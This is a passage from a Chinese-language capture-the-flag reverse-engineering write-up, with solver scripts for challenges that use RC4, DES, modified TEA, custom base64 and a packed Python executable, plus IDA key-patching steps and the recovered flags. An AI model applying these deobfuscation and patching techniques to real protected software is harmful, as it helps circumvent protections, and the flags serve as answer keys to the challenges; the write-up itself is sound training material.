s.add(66 * V(75) + 84 * V(57) - 91 * V(43) - 32 * V(53) - 91 * V(28) + 39 * V(34) + 56 * V(10) - 56 * V(13) - 15 * V(7) == 63)
s.add(116 * V(47) + 79 * V(61) - 68 * V(71) + 115 * V(69) - 53 * V(35) + 54 * V(41) + 61 * V(26) + 72 * V(34) + 125 * V(24) == 0xDD)
s.add(57 * V(82) + 35 * V(73) - 13 * V(61) - 62 * V(69) - 52 * V(35) - 84 * V(47) - 35 * V(14) + 73 * V(28) + 97 * V(6) == 0xD7)
s.add(-103 * V(34) + 38 * V(37) + 27 * V(42) - 8 * V(51) - 46 * V(66) + 6 * V(67) + 110 * V(24) - 53 * V(32) - 125 * V(8) == 0xFD)
s.add(126 * V(35) + 94 * V(40) - 13 * V(41) + 57 * V(42) + 33 * V(76) - 75 * V(69) + 94 * V(12) - 65 * V(33) - 98 * V(7) == 0xBD)
s.add(84 * V(23) + 99 * V(28) - 92 * V(32) - 104 * V(33) - 23 * V(73) - 8 * V(67) - 48 * V(7) - 73 * V(19) + 56 * V(4) == 127)
s.add(-33 * V(21) - 82 * V(23) + 66 * V(32) - 51 * V(40) + 38 * V(61) + 86 * V(73) - 77 * V(80) + V(55) - 24 * V(7) == 11)
s.add(75 * V(21) - 122 * V(34) - 12 * V(49) + 62 * V(60) + 4 * (45 * V(76) + V(67)) - 21 * V(64) - 48 * V(17) + 115 * V(20) == 29)
s.add(-40 * V(81) - 115 * V(71) - 30 * V(60) - 13 * V(62) + 113 * V(53) + 96 * V(57) + 63 * V(27) + 119 * V(33) - 78 * V(19) == 78)
s.add(-93 * V(27) - 113 * V(59) + 58 * V(61) - 23 * V(66) - 113 * V(71) - 110 * V(73) - 117 * V(77) - 36 * V(75) - 5 * V(26) == 35)
s.add(-90 * V(20) + 51 * V(59) - 44 * V(82) + 85 * V(75) + 11 * V(67) - 51 * V(68) + V(65) + 50 * V(12) + 114 * V(15) == 4)
s.add(43 * V(30) + 67 * V(35) + 80 * V(36) + 51 * V(44) - 13 * V(62) - 90 * V(52) - V(63) + 25 * V(14) + 89 * V(27) == 11)
s.add(91 * V(21) - 117 * V(26) + 28 * V(32) + 109 * V(36) + 38 * V(44) - 97 * V(54) + 3 * V(75) - 123 * V(62) - 112 * V(4) == 104)
s.add(-113 * V(34) - 75 * V(36) + 13 * V(37) - 121 * V(58) + 43 * V(69) - 41 * V(62) - 123 * V(17) - 31 * V(22) - 83 * V(16) == 123)
s.add(106 * V(23) - 57 * V(27) + 90 * V(29) + 115 * V(37) + 48 * V(53) + 33 * x[0] + 94 * V(7) + 90 * V(8) + 87 * V(6) == 106)
s.add(-93 * V(38) - 52 * V(41) + 45 * V(71) + 38 * V(52) + 54 * V(20) - 13 * V(27) - 51 * V(18) + 96 * V(19) + 109 * V(13) == 20)
s.add(84 * V(52) - 22 * V(64) + 23 * V(68) + V(51) - 110 * V(33) - 39 * V(39) + 34 * V(16) + 21 * V(18) - 59 * V(7) == 0x8C)
s.add(87 * V(21) + 63 * V(24) + 55 * V(33) + 12 * V(35) - 100 * V(67) - 3 * V(60) - 51 * V(9) + 3 * V(20) - 106 * V(4) == 69)
s.add(100 * V(20) - 93 * V(23) - 48 * V(76) + 61 * V(56) + 95 * V(28) + 37 * V(33) + 81 * V(16) + 39 * V(18) + 93 * V(6) == 0xAB)
s.add(-21 * V(26) - 84 * V(39) - 8 * V(40) + 74 * V(51) - 95 * V(69) - 125 * V(57) - 89 * V(24) - 79 * V(25) + 39 * V(21) == 1)
s.add(96 * V(67) + 20 * V(73) - 60 * V(61) - 54 * V(64) + 103 * V(48) - 16 * V(57) + 93 * V(37) - 13 * V(40) + 116 * V(22) == 11)
s.add(99 * V(79) + 30 * V(67) - 78 * V(53) + 97 * V(57) + 16 * V(42) - 49 * V(44) + 69 * V(24) - 50 * V(34) - 114 * V(23) == 48)
s.add(102 * V(20) - 31 * V(28) + 19 * V(70) - 91 * V(61) - 56 * V(52) - 48 * V(55) - 50 * V(44) + 63 * V(49) + 65 * V(16) == 0x91)
s.add(40 * V(16) - 61 * V(21) - 19 * V(28) - 111 * V(31) + 114 * V(32) + 34 * V(57) + 91 * V(80) - 33 * V(59) + 12 * V(10) - 18 * V(11) == 0xC1)
s.add(-105 * V(78) - 11 * V(70) - 77 * V(67) - 120 * V(68) + 123 * V(31) - 34 * V(64) - 20 * V(21) - 14 * V(30) + 68 * V(9) == 0xF4)
s.add(-88 * V(79) + 66 * V(72) - 65 * V(44) + 75 * V(50) + 23 * V(37) + 65 * V(38) - 73 * V(13) - 79 * V(25) + 59 * V(10) == 0xAB)
s.add(-123 * V(7) - 7 * V(40) + 45 * V(46) + 34 * V(50) + 106 * V(53) + 43 * V(64) - 13 * V(76) + 7 * V(77) - 120 * V(4) == 5)
s.add(-98 * V(27) + 11 * V(34) + 48 * V(71) + 11 * V(82) - 8 * V(35) + 74 * V(39) + 122 * V(6) + 65 * V(8) + 25 * V(5) == 30)
s.add(5 * V(24) - 110 * V(34) + 127 * V(47) - 32 * V(54) - 118 * V(55) + 104 * V(81) + V(73) + 11 * V(11) + 73 * V(13) == 0xF0)
s.add(-86 * V(19) + 86 * V(33) - 24 * V(37) + 112 * V(41) - 91 * V(45) + 95 * V(49) + 5 * V(51) - 77 * V(63) + 14 * V(5) - 69 * V(8) == 17)

if s.check() == sat:
    m = s.model()
    vals = [m.evaluate(x[i]).as_long() for i in range(80)]
    b = bytes(vals)
    try:
        print(b.decode(&apos;latin-1&apos;))
    except Exception:
        print(b.hex())
else:
    print(&apos;UNSAT&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag{we1c0m3_7o_th3_2e_WorLd_HoPE_y#u_3nJoy_It_6Jj12Xmdy2h3wjd4rYCyARmpkIbZd$Kt}&lt;/p&gt;
&lt;h1&gt;6.babyre&lt;/h1&gt;
&lt;p&gt;IDA打开，这里可以看出是控制流扁平化混淆&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-070.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-071.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里采用deflat.py脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;E:\tool\deflat-master\deflat-master\flat_control_flow&amp;gt;python deflat.py -f &quot;E:\ctf\questionCTF2025\week3\111418_babyre\babyre&quot; --addr 0x401AF0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-072.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-073.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当然你也可以采用D810插件&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-074.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;去混淆后的main函数&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-075.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;加密函数sub_401650执行RC4 PRGA 生成密钥流并与输入逐字节 XOR ；随后将每个字节做 ROR 5（右旋五位）&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-076.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;sub_401650函数有调用了sub_401180函数，他执行 RC4 的 KSA（S盒初始化与搅拌），密钥来自 0x402010 。&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-077.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-078.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最终比较密文&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-079.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def rc4_ksa(key_bytes):
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key_bytes[i % len(key_bytes)]) &amp;amp; 0xFF
        S[i], S[j] = S[j], S[i]
    return S

def rc4_prga(S, n):
    i = 0
    j = 0
    out = []
    for _ in range(n):
        i = (i + 1) &amp;amp; 0xFF
        j = (j + S[i]) &amp;amp; 0xFF
        S[i], S[j] = S[j], S[i]
        K = S[(S[i] + S[j]) &amp;amp; 0xFF]
        out.append(K)
    return out

def rol8(x, r):
    return ((x &amp;lt;&amp;lt; r) | (x &amp;gt;&amp;gt; (8 - r))) &amp;amp; 0xFF

def decrypt(cipher_bytes, key_bytes):

    rot_inv = [rol8(c, 5) for c in cipher_bytes]
    S = rc4_ksa(key_bytes[:])
    ks = rc4_prga(S, len(rot_inv))
    return bytes([rot_inv[i] ^ ks[i] for i in range(len(rot_inv))])

if __name__ == &quot;__main__&quot;:
    key = [0x12,0x34,0x56,0x78,0x90,0xab,0xcd,0xef]
    cipher = [0xc6,0xac,0xee,0x8b,0x57,0x04,0x64,0x3a,0xa7,0x3b,0x84,0x67,0xac,0xd7,0x8e,0xd8,0x1d,0x03,0x85,0x55,0xf6,0x51,0x90]
    plain = decrypt(cipher, key)
    print(&quot;len&quot;, len(plain))
    print(&quot;hex&quot;, plain.hex())
    try:
        print(&quot;ascii&quot;, plain.decode(&apos;utf-8&apos;))
    except UnicodeDecodeError:
        print(&quot;ascii&quot;, plain)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag{Ju4t_4_S1mpl3_RC4}&lt;/p&gt;
&lt;h1&gt;7.strangeenc&lt;/h1&gt;
&lt;p&gt;main函数&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-080.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;开头会把我们的输入做8字节对齐填充，不够8字节用#填充&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-081.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;主要加密逻辑在sub_140001CC0函数里，传入明文与密钥“Koishi__”，做DES加密&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-082.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下里看sub_140001CC0函数，这两个函数生成keys&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-083.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;之后是比较&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-084.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-085.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;因为是DES算法，加密与解密用到的密钥只是顺序不同，我们可以把密文patch进输入，然后把得到的keys再手动patch成逆序，之后执行完就可以得到flag&lt;/p&gt;
&lt;p&gt;我们先在  下个断点，然后运行，输入一些东西，然后找到输入存放的地址，把他们在patch成密文字节&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-086.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后我们可以看到keys了，我们要手动把它逆序&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bss:00007FF6AB7110C0 public Keys
.bss:00007FF6AB7110C0 Keys db 0BAh                            ; DATA XREF: sub_7FF6AB701550+12↑o
.bss:00007FF6AB7110C0                                         ; sub_7FF6AB701CC0+ED↑o
.bss:00007FF6AB7110C1 db 0DDh
.bss:00007FF6AB7110C2 db  34h ; 4
.bss:00007FF6AB7110C3 db  4Eh ; N
.bss:00007FF6AB7110C4 db 0B6h
.bss:00007FF6AB7110C5 db 0E0h
.bss:00007FF6AB7110C6 db    0
.bss:00007FF6AB7110C7 db    0
.bss:00007FF6AB7110C8 db 0DCh
.bss:00007FF6AB7110C9 db  7Dh ; }
.bss:00007FF6AB7110CA db  8Eh
.bss:00007FF6AB7110CB db 0F6h
.bss:00007FF6AB7110CC db  16h
.bss:00007FF6AB7110CD db 0E0h
.bss:00007FF6AB7110CE db    0
.bss:00007FF6AB7110CF db    0
.bss:00007FF6AB7110D0 db 0F1h
.bss:00007FF6AB7110D1 db 0D3h
.bss:00007FF6AB7110D2 db 0E9h
.bss:00007FF6AB7110D3 db  70h ; p
.bss:00007FF6AB7110D4 db 0D2h
.bss:00007FF6AB7110D5 db 0F4h
.bss:00007FF6AB7110D6 db    0
.bss:00007FF6AB7110D7 db    0
.bss:00007FF6AB7110D8 db  2Bh ; +
.bss:00007FF6AB7110D9 db 0CEh
.bss:00007FF6AB7110DA db 0D3h
.bss:00007FF6AB7110DB db  72h ; r
.bss:00007FF6AB7110DC db 0D3h
.bss:00007FF6AB7110DD db  86h
.bss:00007FF6AB7110DE db    0
.bss:00007FF6AB7110DF db    0
.bss:00007FF6AB7110E0 db  1Ch
.bss:00007FF6AB7110E1 db  1Fh
.bss:00007FF6AB7110E2 db 0DEh
.bss:00007FF6AB7110E3 db  57h ; W
.bss:00007FF6AB7110E4 db  53h ; S
.bss:00007FF6AB7110E5 db 0AEh
.bss:00007FF6AB7110E6 db    0
.bss:00007FF6AB7110E7 db    0
.bss:00007FF6AB7110E8 db 0FCh
.bss:00007FF6AB7110E9 db  73h ; s
.bss:00007FF6AB7110EA db  99h
.bss:00007FF6AB7110EB db  49h ; I
.bss:00007FF6AB7110EC db  53h ; S
.bss:00007FF6AB7110ED db  2Fh ; /
.bss:00007FF6AB7110EE db    0
.bss:00007FF6AB7110EF db    0
.bss:00007FF6AB7110F0 db 0A1h
.bss:00007FF6AB7110F1 db 0FAh
.bss:00007FF6AB7110F2 db  71h ; q
.bss:00007FF6AB7110F3 db 0F9h
.bss:00007FF6AB7110F4 db  51h ; Q
.bss:00007FF6AB7110F5 db  0Bh
.bss:00007FF6AB7110F6 db    0
.bss:00007FF6AB7110F7 db    0
.bss:00007FF6AB7110F8 db  3Fh ; ?
.bss:00007FF6AB7110F9 db  2Ch ; ,
.bss:00007FF6AB7110FA db 0F2h
.bss:00007FF6AB7110FB db 0D9h
.bss:00007FF6AB7110FC db  49h ; I
.bss:00007FF6AB7110FD db  9Dh
.bss:00007FF6AB7110FE db    0
.bss:00007FF6AB7110FF db    0
.bss:00007FF6AB711100 db  97h
.bss:00007FF6AB711101 db 0D5h
.bss:00007FF6AB711102 db 0B3h
.bss:00007FF6AB711103 db  9Ah
.bss:00007FF6AB711104 db  49h ; I
.bss:00007FF6AB711105 db  1Fh
.bss:00007FF6AB711106 db    0
.bss:00007FF6AB711107 db    0
.bss:00007FF6AB711108 db 0A3h
.bss:00007FF6AB711109 db  27h ; &apos;
.bss:00007FF6AB71110A db  8Fh
.bss:00007FF6AB71110B db  8Dh
.bss:00007FF6AB71110C db  29h ; )
.bss:00007FF6AB71110D db  3Eh ; &amp;gt;
.bss:00007FF6AB71110E db    0
.bss:00007FF6AB71110F db    0
.bss:00007FF6AB711110 db  45h ; E
.bss:00007FF6AB711111 db  6Bh ; k
.bss:00007FF6AB711112 db 0FEh
.bss:00007FF6AB711113 db  0Dh
.bss:00007FF6AB711114 db  2Ch ; ,
.bss:00007FF6AB711115 db  1Bh
.bss:00007FF6AB711116 db    0
.bss:00007FF6AB711117 db    0
.bss:00007FF6AB711118 db 0DEh
.bss:00007FF6AB711119 db 0C3h
.bss:00007FF6AB71111A db  72h ; r
.bss:00007FF6AB71111B db 0BCh
.bss:00007FF6AB71111C db  2Ch ; ,
.bss:00007FF6AB71111D db  49h ; I
.bss:00007FF6AB71111E db    0
.bss:00007FF6AB71111F db    0
.bss:00007FF6AB711120 db  8Bh
.bss:00007FF6AB711121 db 0B5h
.bss:00007FF6AB711122 db 0D5h
.bss:00007FF6AB711123 db 0ACh
.bss:00007FF6AB711124 db 0ACh
.bss:00007FF6AB711125 db 0D4h
.bss:00007FF6AB711126 db    0
.bss:00007FF6AB711127 db    0
.bss:00007FF6AB711128 db  69h ; i
.bss:00007FF6AB711129 db  36h ; 6
.bss:00007FF6AB71112A db 0EEh
.bss:00007FF6AB71112B db  22h ; &quot;
.bss:00007FF6AB71112C db 0AEh
.bss:00007FF6AB71112D db 0D2h
.bss:00007FF6AB71112E db    0
.bss:00007FF6AB71112F db    0
.bss:00007FF6AB711130 db  6Eh ; n
.bss:00007FF6AB711131 db 0FBh
.bss:00007FF6AB711132 db  7Ah ; z
.bss:00007FF6AB711133 db  26h ; &amp;amp;
.bss:00007FF6AB711134 db 0BEh
.bss:00007FF6AB711135 db 0E8h
.bss:00007FF6AB711136 db    0
.bss:00007FF6AB711137 db    0
.bss:00007FF6AB711138 db  2Fh ; /
.bss:00007FF6AB711139 db 0CDh
.bss:00007FF6AB71113A db  4Eh ; N
.bss:00007FF6AB71113B db  26h ; &amp;amp;
.bss:00007FF6AB71113C db 0B6h
.bss:00007FF6AB71113D db 0A1h
.bss:00007FF6AB71113E db    0
.bss:00007FF6AB71113F db    0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;IDApython脚本用于将keys逆序&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 在 IDA Python 控制台执行（或 adapt 为 x64dbg Python 插件）
import ida_bytes, ida_kernwin

BASE = 0x00007FF65CA810C0   # ← 你给的 Keys 起始地址
ROUNDS = 16
SLOT = 8    # 每槽 8 字节（前 6 字节是真 key，后 2 字节填充）
KEYLEN = 6  # 真正 key 长度

# 读取原始并保存备份文件 (可选)
orig = ida_bytes.get_bytes(BASE, ROUNDS*SLOT)
open(&quot;keys_backup.bin&quot;,&quot;wb&quot;).write(orig)

# 抽取每槽前 6 字节
blocks = [ida_bytes.get_bytes(BASE + i*SLOT, KEYLEN) for i in range(ROUNDS)]

# 倒序并回写（每槽写 6 字节 + 两字节 0x00 0x00）
for i, b in enumerate(reversed(blocks)):
    ea = BASE + i * SLOT
    ida_bytes.patch_bytes(ea, b + b&apos;\x00\x00&apos;)

ida_kernwin.msg(&quot;Keys slots reversed (K16..K1) at 0x%X\n&quot; % BASE)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;逆过来就是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0007FF7837B10C0 public Keys
.bss:00007FF7837B10C0 ; _QWORD Keys[16]
.bss:00007FF7837B10C0 Keys dq 0A1B6264ECD2Fh, 0E8BE267AFB6Eh, 0D2AE22EE3669h, 0D4ACACD5B58Bh, 492CBC72C3DEh
.bss:00007FF7837B10C0                                         ; DATA XREF: sub_7FF7837A1550+12↑o
.bss:00007FF7837B10C0                                         ; sub_7FF7837A1CC0+ED↑o
.bss:00007FF7837B10E8 dq 1B2C0DFE6B45h, 3E298D8F27A3h, 1F499AB3D597h, 9D49D9F22C3Fh, 0B51F971FAA1h
.bss:00007FF7837B1110 dq 2F53499973FCh, 0AE5357DE1F1Ch, 86D372D3CE2Bh, 0F4D270E9D3F1h, 0E016F68E7DDCh
.bss:00007FF7837B1138 dq 0E0B64E34DDBAh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-087.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag{Fun_Fact_its_littleEndian_DES}#####&lt;/p&gt;
&lt;h2&gt;Week 2&lt;/h2&gt;
&lt;h1&gt;1.Do you like to drink tea?&lt;/h1&gt;
&lt;p&gt;IDA打开，定位到main函数，魔改的TEA算法，delta值为1640531527，轮数32，我们的输入经过sub_401530函数，然后放在Block里，最后把进过加密的输入与v4数组进行对比&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-088.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;sub_401530函数是把我们的输入按4字节划分为小端的dword数组&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-089.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import struct

DELTA = 1640531527
ROUNDS = 32

K0 = 305419896
K1 = 2882400001
K2 = 289739801
K3 = 421101825

def u32(x):
    return x &amp;amp; 0xFFFFFFFF

def inv_pair(a1, b1):
    sum_ = u32(-ROUNDS * DELTA)
    a = u32(a1)
    b = u32(b1)
    for _ in range(ROUNDS):
        sum_ = u32(sum_ + DELTA)
        t_b = u32(u32(a &amp;lt;&amp;lt; 6) + K2) ^ u32(sum_ + a + 20) ^ u32((a &amp;gt;&amp;gt; 9) + K3)
        b = u32(b + t_b)
        t_a = u32(u32(b &amp;lt;&amp;lt; 6) + K0) ^ u32(sum_ + b + 11) ^ u32((b &amp;gt;&amp;gt; 9) + K1)
        a = u32(a + t_a)
    return a, b

def dwords_to_bytes(arr):
    data = b&apos;&apos;.join(struct.pack(&apos;&amp;lt;I&apos;, u32(x)) for x in arr)
    return data.rstrip(b&apos;\x00&apos;)

final_u32 = [
    (-262322456) &amp;amp; 0xFFFFFFFF,
    (1199964143) &amp;amp; 0xFFFFFFFF,
    (-201212030) &amp;amp; 0xFFFFFFFF,
    (-436419062) &amp;amp; 0xFFFFFFFF,
    (-1099955107) &amp;amp; 0xFFFFFFFF,
    (544769843) &amp;amp; 0xFFFFFFFF,
    (-1824808087) &amp;amp; 0xFFFFFFFF,
]

x = final_u32[:]
for i in range(len(x) - 2, -1, -1):
    a0, b0 = inv_pair(x[i], x[i+1])
    x[i], x[i+1] = a0, b0

flag_bytes = dwords_to_bytes(x)
print(flag_bytes.decode(&apos;utf-8&apos;, errors=&apos;replace&apos;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag{OH_I_L0VE_D3inK_Te4!!!}&lt;/p&gt;
&lt;h1&gt;2.rc4&lt;/h1&gt;
&lt;p&gt;IDA打开，main函数如下，是rc4加密&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-090.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;具体实现在rc4_init和rc4_crypt这两个函数里，与标准rc4的不同在于最后的结果再异或上k&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-091.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-092.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
def rc4_decrypt(key, data):
    s = list(range(256)); j = 0
    for i in range(256):
        j = (j + s[i] + key[i % len(key)]) &amp;amp; 0xff
        s[i], s[j] = s[j], s[i]
    i = j = 0
    out = bytearray(data)
    for k in range(len(out)):
        i = (i + 1) &amp;amp; 0xff
        j = (j + s[i]) &amp;amp; 0xff
        s[i], s[j] = s[j], s[i]
        out[k] ^= (k &amp;amp; 0xff) ^ s[(s[i] + s[j]) &amp;amp; 0xff]
    return bytes(out)

cipher = (
    int.to_bytes(0xD6DB345DC17A5FF7, 8, &apos;little&apos;) +
    int.to_bytes(0x68DAE1DE2D75D82F, 8, &apos;little&apos;) +
    int.to_bytes(0xF907EACE4A9B57E0, 8, &apos;little&apos;)
)
cipher = bytearray(cipher[:23] + int.to_bytes(1585012473, 4, &apos;little&apos;))  # 总长27

plain = rc4_decrypt(b&quot;ohhhRC4&quot;, cipher)
print(plain.decode(errors=&quot;ignore&quot;))

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag{S0NNE_Rc4_l$_c13@nged}&lt;/p&gt;
&lt;h1&gt;3.base&lt;/h1&gt;
&lt;p&gt;IDA中打开main，确认是用自定义的Base64字母表编码并校验一段密文&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-093.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们正确的base64是由正确的加密的base64密文经过base58解密得到&lt;/p&gt;
&lt;p&gt;密文&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-094.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-095.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;解密出正确的base64（abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/）&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-096.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;解密密文&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-097.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-098.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;用我们得到的base64解密&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-099.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag{Tl4is_1o@se}&lt;/p&gt;
&lt;h1&gt;4.pyc&lt;/h1&gt;
&lt;p&gt;先用pyinstxtractor.py 解出 pyc.exe_extracted&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-100.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;能看到所用版本是3.8，可能的入口点有两个pyiboot01_bootstrap.pyc和pyc.pyc&lt;/p&gt;
&lt;p&gt;用decompyle3&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-101.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打开pyc.py，文件最下面&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-102.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;他会对三种字符分别处理，最后所有字符再hex(ord(c))，然后拼接&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;data_str = &quot;0xba,0xc6,0xb0,0xbc,0x86,0x10b,0x126,0xe4,0x6a,0xc0,0x40,0x6a,0xda,0x3f,0xd2,0xe0,0x6a,0xb8,0x3f,0xd4,0xe0,0x89,0x88&quot;
values = [int(x, 16) for x in data_str.split(&quot;,&quot;)]

def invert_char(t: int) -&amp;gt; str:
    
    if (t - 6) % 2 == 0:
        cand = ((t - 6) // 2) + 12
        c = chr(cand)
        if &apos;a&apos; &amp;lt;= c &amp;lt;= &apos;z&apos;:
            return c
    
    if (t - 9) % 3 == 0:
        cand = ((t - 9) // 3) - 6
        c = chr(cand)
        if &apos;A&apos; &amp;lt;= c &amp;lt;= &apos;Z&apos;:
            return c
    
    c = chr(t - 11)
    return c

flag = &apos;&apos;.join(invert_char(t) for t in values)
print(flag)


def forward_t(c: str) -&amp;gt; int:
    o = ord(c)
    if &apos;a&apos; &amp;lt;= c &amp;lt;= &apos;z&apos;:
        return (o - 12) * 2 + 6
    elif &apos;A&apos; &amp;lt;= c &amp;lt;= &apos;Z&apos;:
        return (o + 6) * 3 + 9
    else:
        return o + 11

hex_join = &quot;,&quot;.join(hex(forward_t(c)) for c in flag)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag{PYC_i5_v4ry_e4sy~}&lt;/p&gt;
&lt;h1&gt;5.螺旋密码机&lt;/h1&gt;
&lt;p&gt;JADX中打开mainactivity，看来存在native层&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-103.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;apktool反编译&lt;/p&gt;
